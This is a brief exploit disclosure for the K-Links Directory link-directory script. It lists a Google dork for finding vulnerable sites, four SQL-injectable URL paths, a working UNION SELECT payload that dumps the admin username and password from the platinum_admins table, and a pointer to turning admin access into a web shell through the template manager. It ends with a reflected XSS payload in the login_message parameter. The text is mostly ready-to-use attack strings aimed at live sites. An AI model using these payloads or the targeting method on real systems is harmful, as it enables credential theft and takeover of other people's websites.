klinks-sqlxss.txt

`================================================================================  
|| K-Links Directory SQL-INJECTION, XSS   
================================================================================  
  
Application: K-Links Directory  
------------  
  
Website: http://turn-k.net/k-links  
--------  
  
Version: Platinum (All)  
--------  
  
About: Script for starting a profitable link directory website offering full-featured directory of resources/links similar to Yahoo-style search engine. Price 79-169$.  
------  
  
Googledork: Powered By K-Links Directory  
-----------  
  
Demo: http://klinksdemo.com  
-----  
  
[ SQL-INJECTION ]  
  
http://host/report/-1[SQL]  
http://host/visit.php?id=-1[SQL]  
http://host/addreview/-1[SQL]  
http://host/refer/-1[SQL]  
  
===>>> Exploit:  
  
http://host/report/-1 union select 1,2,3,concat(a_pass,0x3a,a_user),5,6,7,8,9,1,2,3,4,5,6,7,8,9,1,2,3,4,5,6,7,8,9,1,2,3,4,5,6,7,8,9,1,2,3,4,5,6,7,8 from platinum_admins where a_id=1/*  
  
  
/* Admin Login - http://host/admin   
  
Manage Templates => web-shell */  
  
  
[ PASSIVE XSS :) ]  
  
http://host/index.php?req=login&redirect=&login_message=<script>alert()</script>  
  
  
Author: Corwin  
-------   
  
Contact: corwin88[dog]mail[dot]ru  
--------  
`